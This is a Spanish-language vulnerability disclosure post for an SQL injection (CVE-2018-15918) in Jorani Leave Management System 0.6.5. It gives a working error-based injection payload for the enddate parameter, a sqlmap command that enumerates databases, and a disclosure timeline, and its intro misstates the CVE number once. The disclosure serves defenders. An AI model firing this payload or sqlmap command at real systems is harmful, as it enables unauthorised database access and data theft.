CVE-2018-15918 Jorani Leave Management System 0.6.5 – SQL Injection

Javier Olmedo

Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5, la vulnerabilidad ha sido asociada al CVE-2018-159178.

 

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

📅 Vulnerabilidad descubierta por Javier Olmedo el 02/08/2018

💣 Publicada el 03/09/2018

🐛 CVE-2018-15918

🔗 Link del software Jorani Leave Management System

🐞 Versión vulnerable = 0.6.5 y posiblemente anteriores

 

Vector de ataque / Criticidad de la explotación

CRITICIDAD – CRÍTICA

A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.

 

Parámetros vulnerables

Los parámetros startdate y enddate son vulnerable a ataques SQL Injection a través de peticiones POST en el recurso /leaves/validate, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.

 

💉 Payload

id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03′) AND (SELECT 2138 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘WfLI’=’WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=

 

📷 Captura de pantalla de SQLmap lanzando el comando

sqlmap -r jorani-poc.req -p enddate --dbms=MySQL --dbs

 

Prueba de concepto (PoC)

1.  Si añadimos el caracter en el parámetro startdate obtenemos un error en la aplicación

1.1 Petición

1.2 Respuesta

2. En cambio, al añadir dos , obtenemos un código 200 OK

2.1 Petición

2.2 Respuesta

 

Timeline

02/08/2018 Descubrimiento de la vulnerabilidad

02/08/2018 Creo issue en GitHub del proyecto

03/08/2018 El desarrollador invalida y cierra el issue 😥

27/08/2018 Solicito CVE

28/08/2018 Asignación de CVE-2018-15918 por MITRE

03/09/2018 Hago pública la vulnerabilidad

 

Referencias

CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918

 

Un saludo a todos!! 👋

Comparte el artículo si te ha gustado

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on pinterest
Pinterest
Share on telegram
Telegram
Share on whatsapp
WhatsApp
Share on email
Email

Deja tu comentario